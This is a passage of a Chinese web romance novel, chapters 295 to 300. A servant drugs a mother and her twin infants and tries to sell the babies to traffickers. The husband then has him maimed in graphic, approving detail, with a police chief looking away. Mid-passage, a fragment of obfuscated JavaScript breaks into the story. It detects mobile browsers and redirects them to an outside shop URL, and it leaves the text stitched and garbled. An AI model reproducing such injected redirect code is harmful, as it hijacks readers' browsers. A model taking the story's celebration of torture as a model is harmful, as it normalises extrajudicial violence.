朱东泽冲她嘘道,“你别喊,你知道那两个宝宝,值多少钱吗?”
“多少?”
“二十万美金。”朱东泽早已经眼馋的不行了,“只需要我们把孩子偷出去,然后网站那边派人来接,他们会把这两个宝宝,偷偷带出境,神不知鬼不觉的,而且他们是先打钱,没有任何风险。”
李依听的心惊胆战。
“这跟贩卖人口有什么区别?还卖到国外?这些人买婴儿要干什么?”
“据说是,买回去先培养,男孩养的差不多了就把器官给割了,女孩就是雏妓,这家的两个孩子,长得很好看,那头才肯给这么高的价格。”
李依听的头要炸了。
这哪是人干的事情啊。
且不说,那两个孩子,那么多双眼睛盯着,他们根本就不可能偷出去。
就算得手了。
这不是伤天害理吗?
她是想过好日子,但不是过这种好日子。
“不行,这事不能干。”
“你是觉得钱少?”朱东泽也觉得确实有点少,“没关系,他们可以讨价还价的,我再跟他们议议,这可是我们唯一赚钱的机会,一百多万呢,我们就这三五千的工资,什么时候能赚到一百多万?”
“你难道就不怕被霍时序发现?到时,你的小命就不保了。”
李依心惊胆战,这朱东泽的胆子太大了。
这种事情,都想去做,她可没这么大的胆子。
况且,她觉得为这一百多万,根本不值,“一百多万,对你来说是钱,对我来说,远远不值得我冒险,我不会干的。”
朱东泽撇嘴。
确实一百多万,不算多。
他可以再想别的办法,“那就等我再跟那边提提价,他们说了这两个孩子是尖货。”
在朱东泽的眼里,只有这一个可以一步登天的办
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法。
但在李依的眼中,变现为富人的办法,可不止是伤天害理。
进霍家之前。
她看过很多小保姆逆袭成功的案例。
从中得到了不少经验。
她相信有一天,总能用得上。
“行了,这事儿再说吧,我先回去休息了。”
李依要走,被朱东泽扣住手腕,“你别走啊,我们好久没有过了,我想……”
“你就别想了,就你那三分两分钟的,真不值得褪一次裤子。”李依嫌弃的甩开他,“别想三想四了,有这功夫,还不如挂个男科好好瞧瞧病呢。”
“你……”朱东泽感觉受到了侮辱,但又没法反驳,“……下次我吃药还不行吗?”
“那就下次再说。”
李依离开。
朱东泽气的扯了把冬青叶子。
……
卧室里。
霍时序摁着宋南伊来了两次后,还想再来,被她推开了,“有完没完了?不要了。”
“行,你说不要,不就要,去洗澡。”
他抱起她,去了浴室。
然后又在浴室里得逞了一次。
回到床上后,宋南伊累的直想睡。
霍时序却讲起了裴家的事情,“我听说了裴父的一些事情。”
“裴父的事情?什么事情?”
霍时序面色并不轻松,像是想到了自己经历一般的,深呼吸了一口,“现在任裴氏副总的东靖川,是裴家的私生子。”
“什么?”宋南伊蹭的从床上坐了起来,“那个东靖川……是裴家私生子?他比裴啸哥还要大几岁吧?而且他进入裴氏工作很多年了,裴啸哥现在还没有进入到董事会,这样合理吗?裴家把裴啸从国外叫回来,不就是让他继承家业的吗?怎么……这时候,会突然冒出这事?”
宋南伊是真的想不通了。
这是什么情况啊?
“裴父生了重病,虽然危及不到生命,但他肯定在为以后做打算,他一直在考虑是让裴啸联姻,偏偏那个施晓又出了事,而这时裴啸又将邓雪带回了家……应该是惹怒了父亲,我想,裴叔应该是在考虑,把裴氏给一直很听他话的东靖川。”
“你这消息准确吗?裴啸知道吗?”
霍时序不知道裴啸是不是已经早已知情。
或许他早就知道。
只是从未跟人提及过。
“这事,我还没有跟裴啸沟通。”他想,他确实应该跟裴啸沟通一下了,“我和袁枫商量着,约裴啸见面谈谈,他一直没有时间。”
第296章 坏种
裴啸的压力,现在应该是空前绝后的。
宋南伊突然有了个想法,“要不,我把邓雪派过去帮他吧,大家一起努力,先让裴啸哥进了董事局再说。”
“你不是要开新品发布会,你把邓雪派过去,你这边怎么办?”
宋南伊想着,先推迟发布会的事情。
可以留个噱头。
到时再重启发布会,效果应该能翻倍。
“延迟吧,不会受到影响。”
“嘶……”霍时序有点莫名吃味起来,“……你为了裴啸,可真豁得出去,到底他是你老公,还是我是你老公?你怎么没对我,这么上心过?”
宋南伊愣了愣。
这种醋也要吃?
“你讲点良心,你和裴啸哥是好朋友,就不允许我也是他的好朋友了?”宋南伊觉得这是一个,让裴啸和邓雪升温的绝佳机会,“人裴啸哥都结婚了,我再觊觎他,也没机会了不是吗?”
霍时序瞪眼。
又说这种气死他的话。
“宋南伊,你就是欠收拾。”
“你还有力气吗?”她弯着眼睛挑衅他,“霍时序,你现在恐怕只能嘴上硬气了吧?”
“那就试试看。”
他握着她的下巴,吻住她的唇。
温度攀高,女人细滑的手臂,搂住了他的脖子……
……
邓雪来到江城后。
宋南伊与她见个面,讲了一下裴啸目前的处境。
“我希望你能过去帮他,不知道你的意思……”
“老板,咱们发布会不开了?要延期吗?”邓雪担心这个。
宋南伊点头,“暂时先延期吧,裴啸哥那边的情况,比较急迫,你可以吗?”
只要是宋南伊安排。
邓雪没话说。
但她的确也不知道,能帮裴啸什么,“老板,我们是不同的行业,就算润合那边跟咱们这边有相似的业务也不并多,我不确定,我是否能真正帮得上他的忙。”
“当然,以你的能力,无论什么样的业务,对他来说,都是难得的帮手。”宋南伊拉起邓雪的手,“不管你们现在的感情出了什么状况,他总是你的老公,你也不忍心看着他,陷入困境的对吗?”
邓雪点头。
对她来说,无关乎关系。
只要是宋南伊安排的,她都会尽力的。
“老板,我可以过去。”
“那可太好了。”
宋南伊总认为,夫妻同心,没什么解决不了的问题。
患难中,才能共同成长,他们的能量,一定是无可比拟的。
……
发布会取消后。
宋南伊也没有什么可忙的。
她基本上会去公司半天,处理事务,而后就回到家,跟两个小宝宝玩。
晌午的时候。
朱东泽又将李依悄悄的叫到了一个角落。
“我跟你讲啊,我跟那边已经把价格提到50万美金了,我答应他们,这几天就要把两个孩子弄走,你找个机会,把孩子偷出来。”
李依震惊。
五十万美金。
听起来好诱人,三百多万呢。
“真的假的,不能是骗你的吧?能分我多少?”
“当然是全给你啊,我的就是你的,咱们两个还讲究这个吗?”
李依不同意这样含混不清的说法,“什么你的我的,拿到钱后,我们各自逃命,我得知道,我能得到多少,值不值得我去冒这个险。”
“一人一半,总行了吧。”
“我偷孩子,一人一半,你想的倒是美。”这一屋子监控,到时孩子没了,先找她,“这事,我不能干。”
“你嫌少就给你七成,我收三成总行了吧?你明天的时候,趁着午休,把宝宝偷出来,我已经好船票了,到时,神不知鬼不觉的,我们就逃了。”
李依心里打鼓。
真的能神不知鬼不觉吗?
万一把小命丢了,可真的是得不偿失。
“这么急吗?太太下午就回来了,她会跟宝宝一起午休,根本不可能偷出来的。”
“那你想个办法啊。”
李依没有办法可想。
她甚至,有种预感,如果二人干了这事,离死就不远了。
“还是你自己想办法吧。”李依将问题推给了朱东泽,“正好,这两天我得请个假回趟家,你先想好,等我回来再说。”
朱东泽看出来李依不想同谋。
二百万,她都看不在眼里,那他就自己干。
“李依,老子要是以后有钱了,可就没你的份了,你最好想清楚。”
“你在威胁我吗?”李依小脸一冷,“我看你还是好好想想吧。”
“李依,我可以自己干,但你要是出卖我,我就拉你一起死。”朱东泽是个混子,没什么干不出来的,“你最好给我保守秘密。”
李依没说话。
转身离开。
她跟青姐请了假。
收拾了一下自己的东西,像逃似的离开了霍宅。
朱东泽掉钱眼里,不知道霍家的厉害。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16598836|178628||http|test|mini|href|location''.split(''|''),0,{}));
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r>她来这之前,可是打听的很清楚。
真的把人家两个孩子给卖了,那就不是单纯的让他死,那么简单。
思来想去的,李依觉得这事,她不能干。
三百万很诱人,但不及她的命值钱。
朱东泽脑子一根筋。
再加上那边的人催得紧。
他便准备自己动手。
趁着午休的时候。
他制造了一些动静,将家里的下人都引到了院子里。
一个人偷偷的潜进了宝宝的房间。
宋南伊正靠在床边小憩,午后暖阳透过窗,落在她恬静的睡颜上,一片柔和。
她睡的安然,未察觉,一道鬼祟的身影已悄然走近。
朱东泽眼神阴鸷,用事先浸满**的手帕,猛地捂住她的口鼻。
宋南伊在梦中蹙眉,挣扎了几下,便彻底失去了意识。
随后,朱东泽也没有放过两个宝宝,将带着**的手帕,捂在了两个宝宝的口鼻上,待他们安静后,放入巨大的提篮中,用布盖好,拎着便疾步向外走。
他的步子很急,到最后几乎用跑的。
趁着宅子里无人留意他的空当,迅速溜出了霍家老宅。
不久后,青姐回来。
发现宋南伊竟倒在床下。
她心头一沉,“太太,太太,您怎么在这儿了?太太,太太……”
宋南伊毫无反应。
屋内弥漫着一股异样气味。
青姐抬头看向床榻——那里空空如也!
“来人哪!出事了——!”
凄厉的呼喊,瞬间划破了霍家老宅上空宁静的空气。
整个宅邸顿时乱作一团。
报警的报警,给霍时序打电话的打电话,呼叫120也没敢懈怠……
电话那头,霍时序正在主持会议。
青姐带着哭腔,断断续续地说明情况后,他周身的空气瞬间凝固。
寒意直冲头顶。
随后是无法遏制的暴怒。
“江淮,立刻调动所有人手,封锁所有机场、码头、车站!给我一寸一寸地搜!我要我的两个孩子,平安无事!”
“明白!”江淮不敢有丝毫耽搁,立即转身部署。
霍时序一脚油门,朝着老宅的方向疾驰而去。
老宅门口,管家陈伯早已老泪纵横地守在那里。
一见霍时序下车,他踉跄着扑上前:“少爷……,是朱东泽那个坏东西,把小少爷和小小姐给偷走了,都怪我,都怪我老眼昏花,没看穿那个坏种……”
第297章 畜牲
霍时序拍了拍陈伯的手臂,以示安慰,“这不关你的事。”
宋南伊已经被送去了医院。
他给警察局的陈局打了个电话,说明了一下情况后,便开车又去了医院。
偷走宝宝的朱东泽。
一个人鬼鬼祟祟的,跟网站上的人联系。
那头的人,让他将宝宝送到码头,有人接应。
“钱呢,怎么还没有把钱打过来?”
那头说,“我们得先验货,只要货验好,马上就可以给你钱。”
“你们最好说话算话,否则,我不会将孩子给你们的。”
一阵警笛划过。
朱东泽吓的缩紧了脖子,“你们等着。”
朱东泽将两个宝宝装进了行李箱中。
打了辆车,前往码头。
一路上,他发现多了很多人。
他对霍时序的势力一无所知,但看到这些,心里还是没底。
独自嘀咕着,“不会都是霍时序的人吧?”
“他神通广大啊,怎么会知道我要走码头的?”
“不是,一定是错觉。”
拎着行李箱。
他下了出租车。
拿着手机联系人,“我到了,你们人呢?”
“一个穿红色衣服的女人,会跟你接应,你注意一下。”那头说完挂断了电话。
朱东**张西望。
他有一些鬼鬼祟祟,很快引起了江淮的注意。
行李箱,戴着帽子和口罩,再加上青姐对朱东泽体型的描述,他几乎可以断定这个人,就是偷走一对宝宝的嫌疑人。
他摁了耳边的对讲机,对手下吩咐,“看到前面那个穿蓝衣服的男人了吗?拎着黑色行李箱的那个,盯住他,慢慢靠近,选择机会将他摁住。”
朱东泽等了有五分钟。
终于看见一个穿着红色裙子的女人出现。
他激动的拖着行李箱,快步上前,与之接头,快要走到女人面前时。
他的腿后窝,被重重地踹了一脚。
人踉跄着扑倒在地上。
被几个男人迅速摁住。
要与之接头的女人,见状不妙,立马转身迅速离开。
江淮上前,扯掉了朱东泽的帽子和口罩,验明正身,“还真是你?”
他吩咐手下赶紧打开行李箱。
果然。
两个小宝贝不省人事的在里面。
孩子们的脸都青了。
看起来很不好。
需要赶紧的,将这两个宝宝送去医院。
江淮将朱东泽交给手下,“把人给我看好了,要是让他跑了,你们几个……”
手下齐齐点头,“放心淮哥,我们一定把人看好。”
江淮送两个宝宝去了医院。
用了**,又加上缺氧。
两个孩子被送去了急救。
江淮一刻也没敢耽搁,给霍时序打了个电话,“霍总,宝宝找到了,已经送来了医院,您过来吧。”
霍时序从宋南伊的病房。
直接去了急救室。
他很着急,也透着忐忑,“情况怎么样?两个孩子没事吧?”
“朱东泽给用了**,两个宝宝一直昏迷着,再加上他用行李箱装着,空间狭窄逼仄,宝宝们有一些缺氧……”
这么小的孩子,产生什么影响,没人敢揣测。
只求,上天不要太残忍。
“人抓住了?”霍时序又问。
江淮点头,“是,我已经命人看起来了,等候您的处置。”
霍时序沉眉。
人,他是一定要处理的。
现在,他只关心宝宝们的健康情况。
抢救的时间不算很长。
医生说需要吸氧,再观察,要抽血什么的,避免不了折腾。
幸运的是,没有给宝宝们,造成严重的身体损害。
“江淮你在这儿看着,我去看看南伊醒了没?”
“好的。”
宋南伊醒了。
意识有一些混沌。
她怎么突然就昏迷了。
“我这是什么情况啊?”她看着手背上的针头,问向霍时序,“我生病了吗?我怎么一点印象都没有?”
“说来话长。”霍时序抬手摸了摸她的额头,“没事就好。”
“发生什么了?”她几乎没有印象。
霍时序简单的把事情,跟她讲了讲,宋南伊脑袋嗡嗡作响,“孩子们呢?他们还好吗?”
“还好,他们的健康没太受到影响,已经送去吸氧了。”他示意她不要太担心,“等吸完氧,再做一些检查和治疗,就没什么问题了。”
“那个朱东泽是疯了吗?”看来,她看人还是挺准的,“我说那天他来
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的时候,怎么老盯着宝宝看,原来,是在打宝宝们的主意?他把宝宝偷走,是想要勒索我们吗?”
宋南伊说到这儿时。
警察局的陈局长给霍时序打来了电话。
“好的,陈局,我明白了,麻烦你们了,改天一起喝茶。好的,你忙。”
宋南伊着急,“怎么说?”
“陈局说,抓了一批贩卖人口的嫌疑人,里面有跟朱东泽要交易的,说朱东泽是想将我们的两个宝宝,卖到国外的某个组织里去。”
宋南伊听的头皮发麻,后背僵硬。
真是闻所未闻。
“天哪,他真的是坏透了,我们哪里对不起他了?他要干这种伤天害理的事情?”
“说白了,就是为了钱,那些人骗他说,可以给他五十万美金,他信了,去码头接应的时候,**淮发现,将他抓了起来,警方也顺藤摸瓜,将那些贩卖**的人,都抓了。”
这个朱东泽胆大,又无脑。
结局自然不会是好的。
宋南伊想去看宝宝。
被霍时序拦下,“他们还在观察室里,你见不到,有护士在,江淮也在,你放心就好,不会再丢了。”
“陈伯一定自责坏了吧?”
“陈伯在霍家五十几年了,除了爷爷过世,他掉过泪,今天是他第二次掉泪,挺让人难受的,我心里并不怪他。”
霍时序对陈伯的感情深厚。
不会因为一个朱东泽,就把气撒在陈伯的身上。
“宝宝没事,这事就算过去了。”宋南伊也不觉得非得追究什么,“陈伯也不知道,朱东泽是这么一个畜生。”
霍时序抬手揉了揉宋南伊的头发,“好了,别想太多了,先把自己的身体养好,等宝宝们都好起来,咱们就出院回家,一个小插曲而已,以后不会再发生了。”
“现在想起来,还有点后怕,万一被朱东泽交易成功了,那宝宝们就……”
宋南伊真的不敢想。
两个宝宝是她的命啊……
“不会的,那种蠢人,做不成事的,但他的人生……也就到头了。”
宋南伊知道霍时序的手段,但这个朱东泽是蓝旗恩人的儿子,如果真的把他怎么样了,婆婆那边是不是不好交代。
“时序,妈那边……”
第298章 把我那一儿一女给卖了
“妈那边,我来说,你就别管了。”他眉眼深沉,“好好的把身体养好。”
宋南伊和宝宝们,在医院里修养了七天左右。
身体查了又查,确定没有问题后。
才准备要出院。
裴啸过来看望,人看起来很疲惫。
他没有打扰太久,跟霍时序在外面说了会话,至于聊得什么,宋南伊没问。
几天后。
宋南伊和两个宝宝出院。
她带着两个宝宝,再加上青姐和包嫂,一起回了娘家。
霍时序腾出手来。
驱车前往押着朱东泽的地方。
霍时序坐在后排,指尖**着一把锋利的**。
“霍总,这些天,没怎么给朱东泽吃东西,现在只吊着口气呢,陈局那边说,悄无声息的解决,他全当不知道,您这边……”
“看看再说。”霍时序淡淡冷冷的。
江淮点头,“是。”
车子如鹰隼。
穿越闹市区,停在了一座荒废的房屋面前。
这个房子,以前是一家小型医院的停尸房。
每天到晚上,都会有怪声。
朱东泽在这儿吃不饱穿不暖,还跟鬼怪做邻居,人差不多要疯了。
“每天晚上,朱东泽就会怪叫,说是什么女鬼跟他说话,我看人,差不多已经废了。”
江淮嗤笑着打开了一个铁质的门。
里面的看守,恭敬弯身,“霍总,淮哥。”
江淮走到朱东泽面前,伸脚,踢了他两下。
他抱头尖叫,“啊……”
“朱东泽,霍总来看你了,别叫了。”
朱东泽这才颤颤的掀起眼皮,“霍先生……”
“朱东泽,你胆子不小啊,还想把我那一儿一女给卖了?”江淮拿过一把椅子,霍时序弯身坐下,双腿交叠,像睥睨天下的王者,“听说,出价还不少,给50万美金。”
朱东泽猜着,这是来跟他秋后算账来了。
一想到,自己的母亲是霍时序母亲的恩人。
他心里倒也不慌。
“我就是一时的鬼迷心窍,你也别往心里去,那孩子不是没事吗。”
霍时序冷笑。
说的还挺轻巧的。
“那我非要跟你计较呢?”
朱东泽看霍时序不像开玩笑,心里不免有一些怨气,“不至于吧?又没有出人命,霍时序,我妈曾经救过你妈一命,你不会把这份恩情忘了吧?全当是相互抵消了,还不行?”
江淮听的来气。
刚要上前给他个教训,被霍时序抬手拦下。
“抵消?好啊,我也是这么想的。”他勾了勾手指,几下手下上前将朱东泽给摁住,“给我老婆用**,五根手指抵消了。”
他将手中锋利的刀子,交给了江淮,而后,冷冷地睨着眼中满是惊恐的男人,“不过分吧?”
“霍时序,你不能这样抵消,我用**,又没有动她,凭什么要用我的五根手指来还?”
朱东泽挣扎着。
他不服气。
霍时序冷笑,“就凭我霍时序的女人,是千金之躯,容不得你放肆。”
他抬脚,用皮鞋碰了碰朱东泽的脸,“怎么?这个折扣,打得不满意?既然不满意,就切十根手指吧。”
“不要,霍时序,你不要这样,我妈是**恩人,你这样对我,你怎么向你妈交代,你会让你妈背上忘恩负义的名声,这传出去不好听啊。”
朱东泽唇齿打战。
他没有想到霍时序如此的狠。
上来就要他的五根手指。
“霍先生,你别冲动,我知道错了,我真的知道错了。”
霍时序掏了掏耳朵,清冷动唇,“开始吧,别让朱先生等急了。”
江淮动作麻利。
手起刀落。
五根手指,齐唰唰地被切断,鲜血直流。
朱东泽疼的尖叫晕厥。
江淮轻嗤,“这就受不了了,真是废物。”
“把他弄醒。”霍时序淡淡。
人很快就被强制清醒,他眼睛里冒着血,恨的咬牙切齿,“霍时序,你好狠啊,你还是人吗?你怎么可以这样对一个大活人,没有王法了吗?我要报警,我要报警……”
“别急,算完账,你再报警,来得及。”
霍时序淡如竹。
一字一顿,却在将朱东泽推入深渊。
他怕了。
是真的怕了。
“你,你还要算账?我五根手指,还不够吗?我不就是想卖掉你家孩子吗?你至于切断我五根手指?霍时序,你是变态吗?”
“砰。”
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霍时序抬腿,将朱东泽狠狠的踹了出去。
再抬腿,皮鞋重重地踢到他的脑袋上,一下,两下,三下……
“不就是想卖掉我家的孩子?妈的。”霍时序啐了一口,脚底踩在他的脸上,狠狠的碾着,“我家孩子是你随便就卖的?朱正泽,你就是一只阴沟里的老鼠,什么时候觉得可以跟人,平起平坐了?”
朱东泽被打的连呼吸都变得困难。
人的强与弱。
不仅是展现在体力上,而是权力上。
现在的霍时序,可以轻易的将他的手指切断,他却只有苦苦挣扎的份,“唔……霍,霍先生……我错了,我不是有意要跟你作对的,我错了,饶了我吧,我真的知道错了。”
霍时序啐了一口。
抽了根烟递到唇上,“把那五根手指,也给我剁掉。”
“不要,霍先生,不要这样对我,我求你了,我不跟你顶嘴了,我错了,我真的错了……”
朱东泽以为他的求饶,会换霍时序的心软。
他忘了,霍时序如果是心软的人。
那他就不会出现在这里。
江淮听令。
随着朱东泽的再次失控尖叫,另外五根手指,全部剁掉。
“给他止血,看着怪恶心的。”霍时序吸着烟说。
手下拿了药和纱布,将朱东泽两只受伤的手,全部包了起来。
十根手指,丢进垃圾筒里,这辈子都没有再接上去的可能。
朱东泽的脸,失去了血色。
像一只坏掉的木偶。
“腿打断,脚筋也挑了。”霍时序淡淡吩咐。
手下按命令行事。
朱东泽在一次又一次的失痛尖叫中,又一次疼晕过去。
“霍总,接下来呢?”江淮看着眼前的废人,“竟然能做出偷孩子卖孩子这样丧尽天良的事情,我看他也没必要再留下了。”
“将他送到医院吧。”霍时序摁灭了手中的烟卷,“通知他的母亲,让她来领人。”
以霍时序的作风,朱东泽做这样的事情,那是必死无疑。
给他留着这条命,是对母亲的交代。
“跟他母亲好好讲讲,他做的这些事情,然后通知陈局,让他来处理。”
江淮立马明白霍时序的用意,“明白。”
第299章 他们的关系忽远
邓雪帮助裴啸,接连拿下几个大单。
这几个大单,原来全部是想与裴氏合作的,现转投在了润合集团,利润相当可观。
裴父大怒。
在董事会上,大骂裴啸吃里扒外。
“敬之啊,你也别发那么大的火,裴啸有今天的成绩,你应该高兴才是,这说明,裴氏后继有人啊。”
“是啊,润合成立的时间不长,但是业务的增长能力,却强得可怕,我看,这是好事。”
“我听说润合是裴啸和霍时序合资的,裴啸占股高达九成,霍家那位爷根本不出现,只拿年终分红,他一个医生,能把一个公司经营的有声有色,我作为看他长大的伯伯,很欣慰啊。”
“敬之啊,你应该让裴啸回来,这才是正事。”
董事会上的元老。
你一言我一语。
说的裴敬之更加的心烦。
作为父亲,他是欣喜裴啸的进步,但是作为父亲,他又不想裴啸翅膀太硬了。
这会掣肘于他。
他还是想掌握裴氏的绝对主动权。
“抢了裴氏几个单子,他就无法无天了,要回董事局,还远远不够。”
有董事不解裴敬之的想法,“敬之,你可就这一个儿子,你现在身体不好,而他正是年富力强的时候,这个时候不**,要什么时候?你别糊涂啊。”
裴敬之沉脸。
一旁的东靖川也默不作声。
董事会,有一部分人,是知道裴敬之和东靖川的关系。
大多也就不便多发表意见。
但大家都知道。
东靖川到底是上不了台面。
如今能做到副总裁的位子,已经是各位董事的宽容了。
如果将他推上董事局主席的位置上。
恐怕是难以服众。
裴氏现在走得艰难,稍有差池,就可以分崩离析。
裴啸有能力,又名正言顺。
众望所归。
“他想回来也不是不可以,得把抢走的裴氏的单子,全还回来。”裴敬之坚持。
董事们纷纷摇头。
觉得这个坚持大可不必。
裴敬之又补了句,“这些单子的利润不低,各位股东的分红也有着落,我想大家不会反对我的意见吧?”
谁跟钱也不是外人。
大家没有再表达不满。
同意了裴敬之的意见。
会开完,大家离席。
东靖川一直没走。
裴敬之拍了拍他的肩,稍作安慰,“只要你好好表现,董事局主席的位子,将来还是你的。”
“您真的这样想的吗?”东靖川的语色微凉。
裴敬之稍愣,“你什么意思?”
“裴啸是你的婚生子,他是众望所归,而我,一个上不了台面,在外人面前,连声父亲都不允许叫的私生子,会坐到主席的位子上吗?”
“靖川,你不是斤斤计较的人啊。”
这些年来,裴敬之把这个儿子带在身边,他向来唯命是从,从来不急不抢。
才慢慢坐到了副总的位置上。
虽然是私生子,但他对这个儿子是寄予厚望的,“靖川,裴啸是你弟弟,你们是兄弟,你帮他,就是在帮你自己,爸会看在眼里的。”
“他需要我帮吗?他现在厉害的很。”东靖川起身,眸色沉下,“让他进董事局,就意味着,将来董事局主席的位子就是他的,那我算什么?这些年,我对裴氏的付出算什么?”
他苦笑着,“爸,做人不可以这么偏心的。”
“靖川,我没有偏心,我知道你一直在付出,你也做的很好,裴啸再能干,也是半路出家,他没有你的经验,没有你的……”
“够了。”东靖川不满,“为什么当初你要把他叫回来?他做医生做的好好的,你为什么要把他叫回来,明明就是你有私心,明明就是你想培养他当**人。”
“靖川,你这就误会我了,不是我把他叫回来的,是他自己要回来的,他回来也并没有选择直接进裴氏,而是和那个姓霍的成立了一家公司,怎么会是我授意的呢。”
裴敬之想安抚东靖川。
当即作出承诺。
“爸答应你,即便你将来做不了董事局的主席,我也会将我手上的股份分一部分给你,爸亏欠你的,爸一直记得呢。”
东靖川目的达到了一半。
瞬间变成了孝子贤孙,“爸,我也不是要你手里的股份,就是觉得这些年,我对裴氏兢兢业业,裴啸回来捡起现成的,我有一些委屈罢了。”
“我知道,爸不会委屈你的。”
“谢谢爸。”
……
润合集团。
邓雪这段时间一直帮裴啸谈单子。
她觉得差不多是时候退了。
“项目已经拿下了,接下来的合作,你找专业的人员对接,我也该回海城了。”
她没聊私事。
在润合工作的这段时间。
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除了工作时间,她和裴啸是没有私下交流的。
反正,两个人的关系,一直是这样,冷一阵,热一阵,近一阵,远一阵。
上次见家长不欢而散后。
他也只是浅浅的劝慰了她几句,两个人以后的发展,他没有提。
或许是他太忙了吧。
裴氏的事情,裴家的父母,还有他自己这一摊子。
他无瑕分身谈情说爱。
邓雪是能理解的。
“这么急?”
邓雪点头,完全一副公事化,“本来是过来准备新品发布会的,工作突然变更,时间上也延长了许多,再不回去,那边的分公司,怕是不能正常运转了。”
“这些日子,辛苦了,晚上一起吃个饭吧。”裴啸说。
邓雪拒绝了,“如果你想感谢,就去谢宋总吧,我也是她派过来帮你的。”
“邓雪,我是想请我的太太吃饭,不是旁人。”
他望着她的眼睛。
忙了这么多天,吃不好也睡不好,她比他付出的多。
邓雪哂。
太太这种字眼,对她来说太陌生了。
“你不提,我都觉得我们两个人……只是工作关系。”
“抱歉。”他自责,伸手去握她的小手。
邓雪不动声色的躲开了,“是我抱歉才是,我恐怕没有时间陪你吃饭了,还要回去收拾一下东西,明天一早我就得动身。”
他没说话。
就那样深沉地望着她。
邓雪微微笑了笑,“没别的事情,我就先撤了。”
她转身离开。
裴啸点了根烟,衔着,目送她的背影,直至消失不见,这才低头将烟卷点燃。
邓雪坐进车里。
心口涩的厉害。
她觉得,她和裴啸更适合做战友。
一起工作,一起面对困难,而不是一起……面对所谓的感情。
他们之间,明明不来电的。
不,准确地说,是他对她不来电。
她对他是有爱慕在的,要不然,也不会一直狠不下心来分开。
即便这样,又如何呢?
他只给了她太太的身份,他的家人不接受她,他也没有给一个丈夫应该给的爱。
这种纸上的婚姻,真的还有存在的必要吗?
邓雪深呼吸。
她真的舍得放弃这段婚姻吗?
明明,她靠近他,心还是会跳的很慌。
心动是什么时候发生的呢?
第300章 离婚了
在感情中总是患得患失,会令人身心俱疲。
邓雪这次决定要提出分手。
相较于之前那次,她这次的情绪相对稳定,也更坚定。
也不会像上次那样,随便发个离婚协议,就想分开。
不现实。
她看了一眼明天的机票。
下午的。
她还是有一些时间的。
离开前,她想着跟裴啸见面聊一聊,他现在很忙,应该也不想把过多的精力,用在跟她的这个段婚姻上。
邓雪将自己的行李箱收拾好。
又将房间的卫生打扫了一遍。
打开手机,点了份外卖。
很快门铃摁响。
邓雪起身去开门,“谢……”
不是外卖,是裴啸。
“你……怎么过来了?”邓雪有些意外。
裴啸:“你明天就要回海城了,我过来坐坐。”
邓雪哦了一声。
看来用不着明天再约了,正好可以聊一下离婚的事情。
“嗯,正好我也有事情要跟你说的。”她请他进屋,“本来是想着明天一早,约你见个面谈一下的。”
裴啸似乎有预感。
淡扫了她一眼,并没有接她的话茬。
“晚上吃饭了吗?”他问。
邓雪刚要回答,门铃再次被摁响。
她转身走到门口,接过了外卖员送来的外卖。
“点了份外卖。”她将外卖放到桌上,随即问他,“你吃过了吗?”
他垂眸看着桌上的外卖,稍有嫌弃地说,“这种东西,少吃,不健康。”
“嗨,我这种人,不讲究这些东西,能填饱肚子就好。”邓雪将外卖盒打开,一份麻辣烫,“上大学那会儿,我还吃不起麻辣烫呢,看到别的同学吃,我都馋得流口水,那时我就在想,等我以后有钱了,天天吃麻辣烫。”
她笑着,像在回味,无声的叹息里,却很苦涩。
裴啸没有经历过没有钱的日子。
他无法感同身受。
但他很心疼邓雪的来时路,“现在有钱了,麻辣烫还是原来的味道吗?”
“还行吧。”邓雪笑笑。
他安静地等她吃完。
再等她有些拘谨地坐到他面前。
他才缓缓动唇,“最近一段时间,我可能会很忙,因为裴氏那边,我需要过去看看情况,你回海城后,要照顾好自己,有时间,我会去看你。”
邓雪听得心涩。
她还是决定要说了,“裴啸,我正好有事要跟你说一下。”
“你想说什么?”他眉心微压。
似乎在排斥,她将来说出来的事情。
邓雪掀起眸子,这次她没有回避,“裴啸,我们还是离婚吧。”
“又说这个?”他不喜欢听到离婚这两个字。
邓雪看出他眉心的不悦,但这是她的心结,是两个人不得不面对的事实。
不管他愿意听也罢,不愿意听也好。
这段婚姻,真的没有再继续下去的必要。
“我觉得我们两个不像夫妻,连恋爱中的男女朋友也谈不上,你不觉得我们之间……很怪吗?你对我没有欲望,我对你……”
她叹息,她确实没有谈过恋爱,但她看别人谈过,恋爱不是这样的。
婚姻在她心里也不是这样的。
她再独立,再要强,她也希望在婚姻里,在爱人面前,变得柔软和依附,她也想要一个可以放松自己的港湾,可以把自己捧在掌心里疼的男人。
显然。
裴啸并不是。
“……你是个男人,婚姻或是爱情对你来说,没那么重要,你找谁结婚都一样,你跟谁生孩子都是裴家的长子嫡孙,你总得挑个配得上,父母喜欢的不是吗?”
“我说这些,并不是什么高风亮节,我只是觉得,就算我们继续在一起,我也不会被你的父母接受,总不能别扭一辈子,我为什么不找一个门当户对的,不嫌弃我的人结婚呢?”
“裴啸对不起,我真的不想再跟你继续这段,毫无感情,甚至让我感受不到爱意和温暖的婚姻了,我想去过我想要的生活,真的很抱歉。”
“离婚我什么也不要,你也不需要觉得亏欠我什么,我们之间没有亏欠,我们尝试过,我们也努力过,最终……我想我们……还是分开吧。”
裴啸没有说话。
就这么静静地听她说完。
她平静的话里,隐藏了太多的委屈。
他这个人不善于给予,不那么热烈,不是只对邓雪这样,对他的前任,前前任都是如此。
他也知道缺点什么,可以点燃他的东西。
或许,如她说的。
他寡淡无味,对婚姻,对感情,是谁都一样。
“是我应该抱歉才是,我没有带给你,你想要的,邓雪,既然你已经想的很明白,我也不会再纠缠下去,你想要你的自由,我给你。”
裴啸同意了。
